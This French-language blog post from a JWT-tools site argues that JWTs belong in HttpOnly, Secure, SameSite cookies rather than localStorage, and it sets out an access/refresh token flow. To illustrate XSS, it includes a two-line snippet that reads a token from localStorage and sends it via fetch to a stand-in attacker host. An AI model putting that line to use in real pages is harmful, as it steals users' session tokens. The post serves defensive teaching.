FmtDev
Langue
Retour au blog
1 avril 2026

Où devriez-vous stocker vos JWT ? Cookie vs LocalStorage (Guide 2026)

Où stocker les JWT ? Comparez localStorage vs cookies HttpOnly. Découvrez pourquoi localStorage vous expose aux attaques XSS et comment sécuriser votre flux d'authentification.

L'endroit le plus sûr pour stocker un JWT dans une application web est à l'intérieur d'un cookie HttpOnly, Secure et SameSite=Strict. Stocker un JWT dans localStorage l'expose aux attaques de Cross-Site Scripting (XSS), permettant à du JavaScript malveillant de voler facilement les tokens d'accès de vos utilisateurs.

Chaque développeur frontend a regardé sa logique de connexion en se demandant la même chose : Est-ce que je peux juste utiliser localStorage.setItem() ? C'est facile, ça marche avec tous les frameworks, et ça n'a pas le "poids" des cookies. Mais en 2026, où les attaques sur la chaîne d'approvisionnement npm et les XSS sophistiqués sont courants, ce "chemin facile" est une catastrophe de sécurité qui ne demande qu'à arriver.

Ce guide règle le débat pour 2026, en vous montrant exactement comment les hackers volent les tokens et la manière prête pour la production de les sécuriser.

Inspectez votre JWT avant de le stocker (Outils Gratuits)

Avant de décider où stocker votre token, assurez-vous de savoir exactement ce qu'il contient. Utilisez notre suite d'outils de sécurité gratuits pour vérifier votre implémentation :

  • Décodeur de JWT : Collez votre token pour décoder instantanément la charge utile et voir vos revendications en toute sécurité dans votre navigateur.
  • Vérifier l’Expiration du JWT : Vérifiez l'horodatage d'expiration exact pour vous assurer que vos tokens d'accès à courte durée de vie fonctionnent comme prévu.

Connaître la structure de votre token est la première étape pour le sécuriser correctement.

Le piège du LocalStorage (Pourquoi est-ce si dangereux)

Les développeurs adorent le localStorage car c'est d'une simplicité enfantine. Vous recevez un token de votre API de login, vous lancez localStorage.setItem('token', jwt), et c'est fini. Pas d'en-têtes, pas de "cookie jars", juste du JavaScript propre.

La faille fatale : L'accessibilité

La faille fatale du localStorage est que n'importe quel JavaScript s'exécutant sur votre page peut le lire. Cela inclut votre propre code, mais plus important encore, cela inclut tous les scripts tiers que vous avez chargés : analytiques, chatbots, ou ce paquet npm "utile" que vous avez installé hier.

L'attaque : 2 lignes de code malveillant

Si un hacker réussit à exécuter une attaque Cross-Site Scripting (XSS) sur votre site, il peut voler le token de chaque utilisateur en quelques secondes avec un script comme celui-ci :

// Une seule ligne malveillante suffit pour voler un token
const stolenToken = localStorage.getItem('token');
fetch('https://hacker-server.com/steal?token=' + stolenToken);

Une fois que ce token est sur le serveur du hacker, il peut usurper l'identité de l'utilisateur jusqu'à ce que le token expire. Si les hackers veulent aller vite, ils peuvent même passer le JWT au JSON instamment pour identifier les comptes "admin" à haute valeur à cibler en priorité.

Le risque de la chaîne d'approvisionnement

Même si votre propre code est 100 % sécurisé, vous êtes à la merci de votre arbre de dépendances. Si un paquet npm populaire est compromis, le code malveillant peut aller directement dans votre localStorage sans que vous vous en rendiez compte.

La solution des cookies HttpOnly (Le standard de 2026)

Pour résoudre le problème du XSS, nous utilisons les Cookies HttpOnly. C'est le standard de 2026 pour l'authentification web de niveau production.

Qu'est-ce que HttpOnly ?

Quand le serveur envoie un cookie avec le flag HttpOnly, il dit au navigateur : "Le navigateur peut envoyer ce cookie au serveur, mais le JavaScript de l'ordinateur ne peut pas le lire."

Si un hacker exécute un script XSS malveillant sur votre page, document.cookie renverra une chaîne vide ou ne contiendra pas le token d'authentification. Il est physiquement invisible pour le code frontend.

Les flags de cookies requis en 2026

En 2026, se contenter de HttpOnly ne suffit pas. L'en-tête Set-Cookie de votre backend devrait ressembler exactement à ceci :

Set-Cookie: token=eyJhb...; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
  • HttpOnly : Empêche l'accès par JavaScript (protection XSS).
  • Secure : Assure que le cookie n'est envoyé que via HTTPS.
  • SameSite=Strict : Assure que le cookie n'est envoyé que pour les requêtes provenant de votre propre site.
  • Max-Age : Définit l'expiration explicite (ex : 1 heure).

Vous pouvez Inspecter l’Header du JWT pour vous assurer que vos revendications alg et typ correspondent aux exigences de sécurité de votre backend avant de délivrer ces cookies.

LocalStorage vs Cookies HttpOnly : Comparaison de sécurité

CaractéristiqueLocalStorageCookie HttpOnly
Accessible par JavaScript✅ Oui (Haut Risque)❌ Non (Sécurisé)
Vulnérable au XSS🚨 Extrêmement Vulnérable🛡️ Protégé
Vulnérable au CSRF🛡️ Protégé⚠️ Vulnérable (Atténué par SameSite)
Envoyé automatiquement à l'API❌ Non (Doit être attaché au header)✅ Oui
Capacité de stockage5MB - 10MB4KB
Idéal pourThèmes UI, Données non sensiblesJWTs, Tokens d'authentification

L'argument du "CSRF" (Et pourquoi cela n'a plus d'importance)

Un argument courant contre les cookies est : "Mais les cookies sont vulnérables au Cross-Site Request Forgery (CSRF) !"

Bien que techniquement vrai dans le passé, le paysage a changé. Le CSRF fonctionne en trompant un navigateur pour qu'il fasse une requête authentifiée vers votre site à partir d'un site différent et malveillant.

La réalité de 2026

Les navigateurs modernes utilisent désormais par défaut SameSite=Lax pour tous les cookies. En configurant manuellement votre cookie d'authentification sur SameSite=Strict, vous neutralisez essentiellement le CSRF pour les API REST et GraphQL standards.

Le XSS est infiniment plus courant et plus dangereux que le CSRF aujourd'hui. Si un hacker obtient un XSS sur votre site et que vous utilisez localStorage, il possède le compte. Si vous utilisez des cookies HttpOnly, il pourrait être capable de faire une requête au nom de l'utilisateur, mais il ne peut pas voler le token d'identité pour l'utiliser ailleurs. Protégez-vous d'abord contre le XSS.

Le flux d'authentification parfait pour 2026 (Tokens d'Accès + Rafraîchissement)

Si vous construisez une application moderne en React, Vue ou Next.js en 2026, voici l'architecture que vous devriez utiliser :

  1. Login : Votre backend valide l'utilisateur et génère deux tokens.
  2. Access Token : Courte durée (ex : 15 minutes). Utilisé pour l'autorisation API. Stockez-le en Mémoire (un état React ou une variable) ou dans un cookie HttpOnly.
  3. Refresh Token : Longue durée (ex : 7 jours). Utilisé pour obtenir de nouveaux Access Tokens. Stockez-le dans un cookie HttpOnly, Secure, SameSite=Strict.
  4. La boucle de rafraîchissement : Quand l'Access Token expire, le frontend appelle un endpoint /refresh. Le navigateur envoie automatiquement le cookie de rafraîchissement HttpOnly. Le serveur le valide et renvoie un tout nouvel Access Token.

Ce flux maintient les "clés du royaume" (le Refresh Token) verrouillées loin de la portée de JavaScript. Vous pouvez utiliser notre outil pour Vérifier l’Expiration du JWT périodiquement pendant le développement pour affiner votre timing de rafraîchissement.

Foire Aux Questions

Le localStorage est-il sûr pour le JWT ?

Non. Le localStorage n'est pas sûr pour stocker des tokens de session sensibles comme les JWT. Puisqu'il est accessible par n'importe quel JavaScript s'exécutant sur votre page, il est hautement vulnérable aux attaques Cross-Site Scripting (XSS). Pour les applications web, les cookies HttpOnly sont la recommandation standard de l'industrie pour garder les JWT sécurisés.

Comment les hackers volent-ils les JWT du localStorage ?

Les hackers volent les tokens du localStorage en injectant du JavaScript malveillant dans votre page (XSS). Cela peut se produire via des entrées utilisateurs non aseptisées ou des scripts tiers compromis. Une fois injecté, le script appelle simplement localStorage.getItem('token') et envoie la valeur au serveur du hacker via une requête fetch ou Image.

Comment définir un cookie HttpOnly ?

Vous définissez un cookie HttpOnly à partir de votre serveur à l'aide de l'en-tête de réponse HTTP Set-Cookie. Dans un serveur Node.js Express, par exemple, vous utiliseriez : res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'strict' }). Cela indique au navigateur de stocker le token et interdit à tout JavaScript côté client d'y accéder.

Où dois-je stocker mon token de rafraîchissement ?

Un token de rafraîchissement doit toujours être stocké dans un cookie Secure, HttpOnly et SameSite=Strict. Parce que les tokens de rafraîchissement ont une longue durée de vie (souvent des jours ou des semaines), ils sont la cible la plus précieuse pour les hackers. Les garder hors de portée de JavaScript est non négociable pour la conformité de sécurité en 2026.

Les attaques CSRF peuvent-elles voler des JWT ?

Non, les attaques CSRF ne peuvent pas "voler" votre JWT. Une attaque CSRF trompe le navigateur d'un utilisateur pour qu'il utilise son cookie afin de faire une requête non autorisée, mais le hacker ne voit ni n'obtient jamais la possession du token lui-même. En revanche, une attaque XSS vole effectivement le token du localStorage, permettant au hacker de prendre le contrôle total du compte depuis son propre ordinateur.

Arrêtez de mettre vos utilisateurs en danger pour le confort du frontend. Évitez le localStorage pour les identifiants sensibles et adoptez la sécurité des flags modernes des navigateurs.

Besoin de vérifier la charge utile, l'expiration ou les en-têtes de votre token ? Utilisez notre suite d'outils gratuits, notamment le Décodeur de JWT, le Vérificateur d’Expiration JWT et le convertisseur de JWT au JSON pour garder une longueur d'avance sur les risques de sécurité.

Outil associé

Prêt à utiliser l'outil Décodeur JWT Hors Ligne (Sans Log Serveur) ? Toute l'exécution est locale.

Ouvrir Décodeur JWT Hors Ligne (Sans Log Serveur)